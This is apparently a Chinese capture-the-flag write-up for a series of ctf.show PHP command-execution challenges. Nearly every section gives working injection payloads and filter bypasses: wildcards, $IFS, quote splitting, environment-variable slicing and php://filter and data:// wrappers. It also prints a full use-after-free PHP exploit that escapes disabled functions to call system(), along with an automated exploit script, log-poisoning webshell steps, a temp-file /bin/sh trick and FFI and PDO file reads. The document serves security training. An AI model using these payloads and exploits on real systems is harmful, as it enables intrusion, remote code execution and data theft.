命令执行
29.web29
题目描述
命令执行,需要严格的过滤
解题思路
严格来说属于eval代码执行
只过滤了/flag
可以做一些常规的尝试
/?c=phpinfo(); 查看环境变量
/?c=system(‘ls’); 查看目录,发现flag.php
可以将php文件中内容拷贝到txt中
/?c=system(“cp fl*g.php 1.txt”); 用通配符*或者?绕过
/?c=system(“cat fl?g.php”);
/1.txt 访问1.txt 得到flag
30.web30
题目描述
命令执行,需要严格的过滤
解题思路
比起上一题多过滤了system和php
我们换一种方法,在PHP中反引号包含的代码也是可执行的
构造payload :
确定目标文件flag.php后
1 /?c=`cp fla?.??? 1.txt`;
最后访问/1.txt
31.web31
题目描述
命令执行,需要严格的过滤
解题思路
过滤的关键字明显多了起来
我们尝试eval嵌套的命令执行来实现参数逃逸
1 2 3 /?c=eval($_GET[1]);&1=phpinfo(); /?c=eval($_GET[1]);&1=system('ls'); /?c=eval($_GET[1]);&1=system('cp flag.php 1.txt');
访问/1.txt
这里补充一下另外几种访问flag.php的方法
1 2 3 4 5 6 /?c=eval($_GET[1]);&1=system('cp flag.php 1.txt'); # 拷贝到/1.txt /?c=eval($_GET[1]);&1=system('cat flag.php'); # 需要查看源代码 /?c=eval($_GET[1]);&1=system('tac flag.php'); # 倒序输出
32.web32
题目描述
命令执行,需要严格的过滤
解题思路
比上一题多过滤了小括号、反引号、分号、空格等
用文件包含函数
%0a url编码的换行符代替(
php语言最后一句话可省略分号,故用?>绕过
再用php伪协议读取即可
1 ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
33.web33
题目描述
命令执行,需要严格的过滤
解题思路
比上一题多过滤了双引号,用上一题做法也可做
这次我们尝试用require
1 ?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
可以正常包含,解码得到flag
34.web34
题目描述
命令执行,需要严格的过滤
解题思路
多过滤了冒号,是为了过滤直接进行伪协议的参数
补充说明因为过滤了小括号、分号,只能使用php语言结构print、echo、isset、unset、include、require(不需要使用括号)
依然使用以上两种payload即可过滤
1 ?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
35.web35
题目描述
命令执行,需要严格的过滤
解题思路
相较上题多过滤了<、=
不过并不影响我们用以上方法绕过,不多赘述
1 ?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
36.web36
题目描述
命令执行,需要严格的过滤
解题思路
多过滤了数字,我们将变量名改为字母即可
1 ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
37.web37
题目描述
命令执行,需要严格的过滤
解题思路
考察include函数漏洞
利用data伪协议,将传入的字符串作为php代码执行
?c=data://text/plain,<?php phpinfo()?> 经过测试可以正常执行
类似web29构造payload
1 ?c=data://text/plain,<?php system("tac fla*")?>
38、39.web38、39
题目描述
命令执行,需要严格的过滤
解题思路
此题多过滤了php、file
且在include后强制包含了后缀.php
注意理解代码执行和文件包含的关系
我们继续使用data伪协议,代码执行优先
1 ?c=data://text/plain,<?= system("tac fla*")?>
## 40.web40
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c))
看到以上过滤,可见字母、分号、下划线未被过滤
解法较多
一些网上看到的技巧
1 show_source(next(array_reverse(scandir(pos(localeconv())))));
还可通过cookie获得参数进行命令执行,经测试只能执行`ls`,无法拿到值
更改cookie值passid=ls
1 c=session_start();system(session_id());
最后一种巧妙的思路
先尝试打印当前的所有变量
1 2 3 ?c=print_r(get_defined_vars()); #Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => tkhs3pjqvj2f4ag9hreibpfkpg ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); ) # 可以看到_GET和_POST等类型变量储存在数组中
我们可以以POST形式传参`a=phpinfo()`,发现数组也有变化` [_POST] => Array ( [a] => phpinfo() )`
此时思路是拿到数组中的字符串,我们就可以进行RCE(远程代码执行)
我们用next操作拿到存放_POST变量的数组`?c=print_r(next(get_defined_vars()));`
利用数组弹出操作拿到数组中值`?c=print_r(array_pop(next(get_defined_vars())));`
接下来执行代码即可`?c=eval(array_pop(next(get_defined_vars())));`
改变传参拿到flag`a=system("tac flag.php");`
## 41.web41
### 题目描述
**过滤不严,命令执行**
### 解题思路
[思路参考](https://blog.csdn.net/miuzzx/article/details/108569080)
这个题过滤了`$、+、-、^、~`使得**异或自增和取反**构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符`|`
1 if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c))
因为过滤了大部分可见字符,通过不可见字符做或运算构造字母的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
也可使用此python脚本能直接构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import reimport urllibfrom urllib import parsehex_i = "" hex_j = "" pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' str1=["system" ,"cat f*" ] for p in range (2 ): t1 = "" t2 = "" for k in str1[p]: for i in range (256 ): for j in range (256 ): if re.search(pattern,chr (i)) : break if re.search(pattern,chr (j)) : continue if i < 16 : hex_i = "0" + hex (i)[2 :] else : hex_i=hex (i)[2 :] if j < 16 : hex_j="0" +hex (j)[2 :] else : hex_j=hex (j)[2 :] hex_i='%' +hex_i hex_j='%' +hex_j c=chr (ord (urllib.parse.unquote(hex_i))|ord (urllib.parse.unquote(hex_j))) if (c ==k): t1=t1+hex_i t2=t2+hex_j break else : continue break print ("(\"" +t1+"\"|\"" +t2+"\")" )
使用BP传参,用Hackbar会导致二次编码没有回显
也可参考羽师傅的全自动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport urllibfrom sys import *import osos.system("C:\Kce_or.php" ) if (len (argv) != 2 ): print ("=" * 50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" * 50 ) exit(0 ) url = argv[1 ] def action (arg ): s1 = "" s2 = "" for i in arg: f = open (r"C:\Kce_or.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output) while True : param = action(input ("\n[+] your function:" )) + action(input ("[+] your command:" )) data = { 'c' : urllib.parse.unquote(param) } r = requests.post(url, data=data) print ("\n[*] result:\n" + r.text)

## 42.web42
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 2 3 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" );
是将返回的结果写入黑洞目录中,得不到任何回显
我们用双写绕过,用`;`分割,前一个命令正常执行,后一个命令被写入
## 43、44.web43、44
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 2 if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" );
这题比上一题多过滤了`;`、`cat`,但思路不变
我们换一种姿势
`ls&&`、`tac f*&&`
&&表示前一个指令成功执行的情况下再执行后一个,也起到了分割的作用
这里要注意前端会将符号进行一次url解码,需将`&&`编码后传入
## 45.web45
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
这题比上一题多过滤了空格,可以考虑使用其他代替
如制表符`%09`或`$IFS`
值得注意若使用$IFS代替空格键的话,只能使用通配符*
## 46、47、48、49.web46、47、48、49
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c ))
多过滤了通配符`*`和`$`还有所有数字
那以上用$IFS代替空格失效失效,但依然可以用水平制表符%09代替
`*`过滤了我们还可以使用通配符?
过滤了很多Linux读取命令的函数,发现没有过滤tac
1 2 ?c=ls%26%26 ?c=tac%09fla?.php%26%26
## 50、51.web50、51
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c ))
将我们常用的水平制表符`%09`和&符号`%26`过滤了
&符号我们可以用|替代,但空格难以过滤,因此我们尝试过滤无须空格的命令
我们使用nl命令带行号读取,但此方法不支持通配,我们使用shell特性
两个单引号分割,中间的自动忽略
构造以上payload后查看源代码得到flag
## 52.web52
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
这道题过滤了管道符`< >`,但放出了`$`
1 if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c ))
我们可以用复制`cp`或重命名`mv`进行尝试,空格用`${IFS}`绕过
首先还是列目录看看`?c=ls||ls`,发现`flag.php`
然后将`flag.php`内容拷贝到`a.txt`中,注意过滤数字,要起英文名`?c=cp${IFS}fla?.php${IFS}a.txt||ls`,访问`a.txt`
得到`$flag="flag_here"`;很明显是伪造的`flag`,我们用`ls`命令查看根目录
1 2 3 4 5 6 7 8 9 10 ?c=ls${IFS}/||ls #bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var ?c=pwd||ls # /var/www/html ?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls ?c=ls||ls # a.txt b.txt flag.php index.php
按同样方法将根目录下的flag拷贝到当前目录下
最后访问b.txt即可
## 53.web53
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; }
> php中system函数会将执行结果最后一行作为返回值返回
先`?c=ls`查看文件
可以用shell特性绕过过滤`c''at${IFS}fla''g.p''hp`,也可以像上一题一样使用cp命令
`?c=cp${IFS}f???.php${IFS}a.txt`
## 54.web54
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
1 2 if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c );
可见过滤了很多,而且使用通配符过滤,以上使用单引号截断的方式也失效
但经过仔细审查发现没有过滤`mv`重命名指令
`?c=mv${IFS}f???????${IFS}a.txt`将flag文件重命名后访问
## 55.web55
### 题目描述
**命令执行,需要严格的过滤**
### 解题思路
**非预期解**
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
参考P神博客中的[无数字字母RCE](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
`?c=/bin/base64 flag.php`
替换后变成
`?c=/???/????64 ????.???`
**预期解**
`.`(点)的用法,相当于source,可以执行sh命令
在linux里面临时存放文件的目录可能会被定时删除
这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以我们需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容
**php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了**
既然要上传的文件能执行内容,所以添加内容/bin/sh
因为linux系统下一切皆文件,所以一些个内置程序都是由文件组成的
/bin目录下存放的都是协议shell脚本的内容,sh就是执行shell脚本,可以理解为打开终端
只有打开终端我们再能输入命令
然后就可以在文件里面在添加ls,cat等一系列读取文件的命令了
需要构造一个post上传文件的数据包,上传的目的链接要改成题目的链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
然后对该界面进行抓包,选择文件的话随便传一个就行了
构造poc(漏洞执行代码),用来执行命令
1 2 ?c=.%20/???/????????[@-[] // %20也可以用+代替 +在这里是一个空格的作用,?是要进行匹配的字符,[@-[]表示@到[之间的字符,这里是包括有所有大写字母
然后在bp抓包界面添加sh命令

## 57.web57
### 题目描述
**命令执行,需要严格的过滤,已测试,可绕**
### 解题思路
1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
过滤了`、`和`?`,但是放出了`$`,可以通过构造变量的方式绕过
查看源码我们只需要构造36即可
shell中`$(())`代表做运算返回0,取反则为-1,因此多个相加后再取反可构造出36

payload:
1 $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
## 58-67.web58-67
### 题目描述
**命令执行,突破禁用函数**
### 解题思路
1 2 3 4 5 6 7 if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
题目描述变成突破禁用函数,常规思路是查看phpinfo()看具体禁用了哪些函数,但发现phpinfo也被禁用了,再经过尝试发现禁用了`system()`、`echo shell_exec()`、`renmae`
尝试到`file_get_contents()`未被禁用,猜测flag在`flag.php`中
或可以使用函数查看目录`c=print_r(scandir("."));`
payload:
1 c=echo file_get_contents('flag.php');
在59题中,源码未变,但过滤的肯定更多,测试发现`file_get_contents()`果然被禁用
我们还可以使用`include`
1 2 c=include($_GET[1]); ?1=php://filter/convert.base64-encode/resource=flag.php
思路还有很多很多,`c=highlight_file("flag.php");` `c=show_source('flag.php');` `c=include('flag.php');echo $flag;` `c=include('flag.php');var_dump(get_defined_vars());`
> flag不一定在flag.php中,可以用c=print_r(scandir("."));遍历目录寻找flag位置
**一种无法命令执行时写shell的方式**
更改UA头为:``将木马写入日志里
1 2 ?1=/var/log/nginx/access.log c=include($_GET[1]);&a=
68-70.web68-70
题目描述
命令执行,突破禁用函数,求你们别秀了
解题思路
打开题目显示
1 Warning: highlight_file () has been disabled for security reasons in /var /www/html/index.php on line 19
很明显最常用的highlight_file()函数已经被禁用
根据上题经验,尝试参数c传参
查看目录函数和文件包含仍可使用
payload:c=include('/flag.txt');
71.web71
题目描述
命令执行,突破禁用函数,求你们别秀了
解题思路
附件中给出了php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?> 你要上天吗?
其中先把缓存区内容读取到s中,清空缓存区,再将s中数字字母替换为?输出
导致报错及有用信息不可见
我们执行eval()函数后退出即可
payload:
1 c=include ('/flag.txt' );exit ();
72.web72
题目描述
命令执行,突破禁用函数,求你们别秀了
解题思路
源代码和上题一样,利用上题payload白嫖发现include找不到文件
包含当前文件下的flag.php 并输出flag试试
1 2 c=include ('flag.php' );echo $flag ;exit ();
判断又更改了flag位置
利用常用的scandir()函数读取目录发现报错
1 2 3 4 5 Warning: scandir (): open_basedir restriction in effect. File (/) is not within the allowed path (s): (/var /www/html/) in /var /www/html/index.php (19 ) : eval ()'d code on line 1 Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()' d code on line 1 Warning: scandir (): (errno 1 ): Operation not permitted in /var /www/html/index.php (19 ) : eval ()'d code on line 1
原因是open_basedir限制
利用glob协议目录读取脚本
1 2 3 4 5 6 7 8 <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){ echo ($f ->__toString ().' ' ); } exit (0 );?>
payload:
1 2 3 4 5 6 7 8 c=$a =new DirectoryIterator ("glob:///*" ); foreach ($a as $f ){ echo ($f ->__toString ().' ' ); } exit (0 );
可以看到flag应该就在flag0.txt中
尝试include()发现仍然被open_basedir限制,使用uaf脚本绕过**(原理未知)**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();?>
注意传入时省略以及进行url编码
73-74.web73-74
题目描述
命令执行,突破禁用函数,求你们别秀了
解题思路
利用上一题的payload打一下
1 2 3 4 5 6 7 8 Warning: error_reporting () has been disabled for security reasons in /var /www/html/index.php on line 14 Warning: ini_set () has been disabled for security reasons in /var /www/html/index.php on line 15 Warning: strlen () has been disabled for security reasons in /var /www/html/index.php (19 ) : eval ()'d code on line 154 Warning: strlen() has been disabled for security reasons in /var/www/html/index.php(19) : eval()' d code on line 154 UAF failed
报错strlen()函数被禁用,我们可以自定义函数替代
实测题目环境会将更改后的脚本流量洗掉导致502,建议使用非预期解
首先还是用上一题脚本查看目录,发现flag文件变为flagc.txt可能因为放开了open_basedir的限制,导致常规姿势可以使用
payload:c=include("/flagc.txt");die();
web75-76
题目描述
命令执行,突破禁用函数,求你们别秀了
解题思路
还是先用glob协议查看根目录发现/flag36.txt
利用一下包含和UAF发现都被过滤
不会,查看hint
这时可以使用PDO(PHP Data Objects)是一种在PHP里连接数据库的使用接口
通过mysql load_file来读取文件来读文件绕过open_basedir和disable_function
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 c= try { $dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' ); foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ) { echo ($row [0 ]) . "|" ; } $dbh = null ; } catch (PDOException $e ) { echo $e ->getMessage (); exit (0 ); } exit (0 );
73同理只不过flag位置改变
web77
题目描述
命令执行最后一题,php7.4,基本上命令执行就告一段落了
解题思路
先扫目录发现/flag36x.txt和/readflag,利用上一题的payload打一下
报错could not find driver ,描述中提示是php7.4版本
7.4以上的php版本可以使用FFI,即外部函数接口,是指在一种语言里调用另一种语言代码的技术
PHP的FFI扩展就是一个让你在PHP里调用C代码的技术
可以通过FFI来实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后直接访问这个文本文件即可
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 c= $ffi =FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );exit ();c= $ffi =FFI::cdef ("int system(const char *command);" );$ffi ->system ("/readflag > 1.txt" );exit ();
web118 --环境变量拼接
题目描述
flag in flag.php
解题思路
尝试一些基本命令发现全返回evil input,查看注释发现执行<!-- system($code);-->
可以写一个Fuzz脚本看看都过滤了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport stringurl = "http://fad0c7d5-98ef-4c7c-86c9-08f357e427a0.challenge.ctf.show/" list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ " white_list = "" for payload in list : data = { "code" : payload } res = requests.post(url, data=data) if "evil input" not in res.text: print (payload, end=" " ) white_list += payload print ()print (white_list.replace(" " ,"空格" ))
根据描述,flag在flag.php中,我们可以根据环境变量拼接构造出nl指令读取
环境变量用法
1 2 3 4 5 6 7 8 $PWD和${PWD} 表示当前所在的目录 /var/www/html ${#PWD} 13 前面加个#表示当前目录字符串长度 ${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始) ${PWD:~3} html 代表从最后面开始向前截取几位(从零开始) ${PWD:3:1} r ${PWD:~3:1} h ${PWD:~A} l 这里的A其实就是表示1 ${SHLVL:~A} 1 代表数字1
1 2 3 4 5 6 7 8 9 10 11 <!-- 利用各个环境变量的最后一位来构造命令 ${PWD}表示当前所在的目录 一般的话都会是/var /www/html ${PATH}表示文件位置相关的环境变量 基本上指的是根目录下的bin目录 即:/var /www/html 那么${PWD:~A}的结果就是字母 l 而${PATH:~A}的结果是字母 n 这里的~A代表是最后一位字符,相应B就是导数第二位字符。同样数字的话0 就是最后一位字符 它们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php -->
payload:
1 2 3 4 5 6 code=${PATH:~A}${PWD:~A}${IFS}????.??? 要不,直接输入到框里回车也行,这边是随便输入了一个值用bp抓包后看到参数传递形式是POST才知道用POST传参的 当然这题还有其他payload: ${PATH:${ ${PATH:~A}${PATH:${
web119
题目描述
flag in flag.php
解题思路
在上一题基础上过滤了PATH和BASH,核心思路依然是环境变量拼接
预期解:
1 2 3 4 5 6 7 ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t ${PWD:${Z}:${#SHLVL}} ====> / /bin/cat flag.php ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
非预期解:
可以尝试构造 /bin/base64 flag.php 这个命令,只需要 / 和 4 两个字符就可以了,其他的率可以用通配符来代替
对于 / 的话其实很简单,PWD,即 /var/www/html 的第一个就是,即构造为:
但是1是不能使用的,这就可以用到SHLVL:
作用:记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 ${SHLVL} 就为1,然后再这个shell中再打开一个shell的话此时 ${SHLVL} 就变成了2
不能使用数字的话,就可以使用这个来代替:
/ 的构造变为:
